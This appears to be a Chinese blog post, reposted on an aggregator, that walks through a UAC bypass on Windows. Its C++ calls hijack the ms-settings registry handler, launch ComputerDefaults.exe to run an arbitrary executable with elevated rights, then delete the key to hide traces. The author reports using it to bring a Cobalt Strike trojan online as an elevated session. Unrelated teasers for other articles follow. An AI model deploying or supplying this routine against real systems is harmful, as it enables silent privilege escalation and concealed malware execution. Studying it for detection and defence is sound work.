关于bypassuac的探究——bypass的实现

经过前面的探究过后,我们整理下思路,首先要创建注册表,并添加DelegateExecute这个键值对,并修改command的指向exe路径即可bypassuac,那么这里用到一下几个函数

RegCreateKeyExA

首先是创建注册表项,对应的是之前创建HKCU\Software\Classes\ms-settings\Shell\Open\command这个路径的操作,这个路径默认情况下是不存在的

LSTATUS RegCreateKeyExA([in]            HKEY                        hKey,[in]            LPCSTR                      lpSubKey,DWORD                       Reserved,[in, optional]  LPSTR                       lpClass,[in]            DWORD                       dwOptions,[in]            REGSAM                      samDesired,[in, optional]  const LPSECURITY_ATTRIBUTES lpSecurityAttributes,[out]           PHKEY                       phkResult,[out, optional] LPDWORD                     lpdwDisposition
);

 

hkey:句柄

lpSubKey:此函数打开或创建的子项的名称

Reserved:保留参数,必须为0

lpClass:该键的用户定义类类型。可以忽略此参数。此参数可以为NULL

dwOptions:有几个值,使用的时候具体查询

samDesired:指定要创建的密钥的访问权限的掩码

lpSecurityAttributes:指向SECURITY_ATTRIBUTES结构的指针

phkResult:指向接收打开或创建的键的句柄的变量的指针

lpdwDisposition:指向处置值变量的指针

RegSetValueExA

再就是修改注册表项,指向我们的恶意exe路径

LSTATUS RegSetValueExA([in]           HKEY       hKey,[in, optional] LPCSTR     lpValueName,DWORD      Reserved,[in]           DWORD      dwType,[in]           const BYTE *lpData,[in]           DWORD      cbData
);

hkey:句柄

lpValueName:要设置的值的名称

Reserved:保留参数,必须为0

dwType:lpData参数指向的数据类型

lpData:要存储的数据

cbData:lpData参数指向的信息的大小,以字节为单位

RegDeleteTreeA

执行exe过后我们为了隐蔽最好是删除这个路径,那么就需要用到这个api

LSTATUS RegDeleteTreeA([in]           HKEY   hKey,[in, optional] LPCSTR lpSubKey
);

hkey:句柄

lpSubKey:密钥的名称

首先创建注册表项

::RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command",0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);

然后给注册表赋值指向exe路径

::RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (::lstrlenA(filePath) + 1));

添加删除注册表键,即DelegateExecute

RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)"", sizeof(""));

然后调用cmd创建ComputerDefaults.exe这个进程

CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

调用完成之后删除注册表项

RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");

这里测试一下,先把路径写成cmd.exe

char filePath[] = "C:\\Windows\\System32\\cmd.exe";

 这里cmd的实现成功了,那么直接使用cs的马上线能不能够直接bypassuac呢,实验一下,这里把路径改为cs马的路径

这里为了验证已经bypass了uac,我后面手动自己点了一下cs的木马,第一个就是我们通过我们写的程序上线的,第二个就是直接点击上线的,看一下区别

仔细看的话这里bypass过的右上角有一个*

首先看一下第一个对话

再看下第二个对话,很明显这里已经bypass过了uac

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/448487.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

figure方法详解之清除图形内容

figure方法详解之清除图形内容 一 clf():二 clear():三 clear()方法和clf()方法的区别: 前言 Hello 大家好!我是甜美的江。 在数据可视化中,Matplotlib 是一个功能强大且广泛使用的库,它提供了各种方法来创建高质量的图形。在 Mat…

Multisim14.0仿真(四十一)交通信号灯仿真设计

一、功能简介: 1)、采用两片74LS192做减法计数器,实现倒计时功能。 2)、采用DCD数码管显示时间。 3)、采用4个TRAFFIC_LIGHT_SINGLE红绿灯 4)、采用74LS160和74LS138实现对红绿灯的逻辑控制。 5&#xff09…

【JavaEE进阶】 图书管理系统开发日记——叁

🌴前言 在前面我们实现了用户登录的接口。现在我们来实现图书列表展示页面。 🎋数据准备 创建图书表,并初始化数据 -- 图书表 DROP TABLE IF EXISTS book_info; CREATE TABLE book_info (id INT ( 11 ) NOT NULL AUTO_INCREMENT,book_nam…

什么样的软件,可以搜大学题?解决难题不费神,尽在大学搜题工具! #媒体#其他

学会运用各类学习辅助工具和资料,是大学生培养自主学习能力和信息获取能力的重要途径之一。 1.千鸟搜题 这个是公众号 涵盖往年成人各类考试,题库有建筑类、金融类、医药卫生类、公考类、安全生产类、特种作业类等试题 下方附上一些测试的试题及答案 …

【自动化测试】---Selenium+Java

1.自动化测试分类 接口自动化测试UI自动化测试(移动端自动化测试、Web端自动化测试) 2.选择Selenium作为web自动化工具原因(面试题) 开源免费支持多个浏览器支持多个系统支持多语言Selenium包提供很多供测试使用的API 3.自动化是什…

深度学习入门笔记(五)前馈网络与反向传播

接着上一节,本节讲解模型自我学习的数学计算过程究竟是怎么样的。 5.1 前馈网络 一个最简单的前馈神经网络如图所示,对于每一个隐藏层,输入对应前一层每一个节点权重乘以节点输出值,输出则是经过激活函数(例如sigmoid函数)计算后的值。 在这样的网络中,输入的数据 x 经…

生物素-PEG4-酪胺,Biotin-PEG4-TSA,应用于酶联免疫吸附实验

您好,欢迎来到新研之家 文章关键词:生物素-PEG4-酪胺,Biotin-PEG4-Tyramide,Biotin-PEG4-TSA 一、基本信息 产品简介:Biotin PEG4 Tyramine is a reagent used for tyramine signal amplification (TSA) through ca…

wpsjs如何打开本机浏览器

目前在wps开发平台上还没找到直接调起浏览器的api,不过可以通过点击超链接会自动打开浏览器的特性取巧去触发 let aaApplication.ActiveSheet.Hyperlinks.Add(Application.ActiveSheet.Range(H6), "https://www.i5a6.com");//创建超链接 aa.Follow();//执行超链接

小迪安全24WEB 攻防-通用漏洞SQL 注入MYSQL 跨库ACCESS 偏移

#知识点: 1、脚本代码与数据库前置知识 2、Access 数据库注入-简易&偏移 3、MYSQL 数据库注入-简易&权限跨库 #前置知识: -SQL 注入漏洞产生原理分析 -SQL 注入漏洞危害利用分析 -脚本代码与数据库操作流程 -数据库名&#xff0c…

【GitHub项目推荐--一个 C++ 实现快速存储的库】【转载】

一个提供可嵌入、持久键值存储以实现快速存储的库。 github地址 https://github.com/facebook/rocksdb 国内镜像 http://www.gitpp.com/ag/rocksdb RocksDB 是一个开源的嵌入式键值存储库,由 Facebook 开发,用于处理大量的数据,特别适合于…

sql指南之null值用法

注明:参考文章: SQL避坑指南之NULL值知多少?_select null as-CSDN博客文章浏览阅读2.9k次,点赞7次,收藏21次。0 引言 SQL NULL(UNKNOW)是用来代表缺失值的术语,在表中的NULL值是显示…

中国2023年土地利用现状遥感监测数据

中国2023年土地利用现状遥感监测数据是以2023年美国Landsat 8遥感影像为主要数据源,在2020年通过2020年土地利用数据基础上,通过2020年和2023年两期遥感影像对比分析,人工目视解译生成。 改革开放以来,中国经济的快速发展对土地利…